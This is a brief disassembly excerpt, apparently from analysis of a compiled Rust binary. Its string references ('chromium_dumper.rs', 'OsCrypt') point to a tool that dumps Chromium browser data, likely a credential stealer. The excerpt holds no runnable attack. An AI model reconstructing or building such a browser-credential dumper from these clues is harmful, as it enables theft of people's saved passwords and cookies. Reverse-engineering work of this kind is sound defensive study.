jmp 0x14012d5c9
mov qword [rdx], 0x11
jmp 0x14012d5c9
lea rdx, [rsp + 0x1e0]
mov qword [rdx], 8
jmp 0x14012d5c9
mov rsi, qword [rsp + 0x1e8]
jmp 0x14012d5ef
lea rdx, [rsp + 0x1e0]
mov qword [rdx], 5
lea rcx, [rsp + 0x30]
call fcn.14022f17c
mov rcx, rax
jmp 0x14012d32a
lea rcx, str.os_cryptstruct_OsCrypt_with_1_element
mov edx, 8
call fcn.1401423dd
mov rsi, rax
xor ebx, ebx
jmp 0x14012d343
lea rax, str.src_chromium_dumper.rs
mov ecx, 5
mov rdx, r8
mov r8, rax
call fcn.140050080
ud2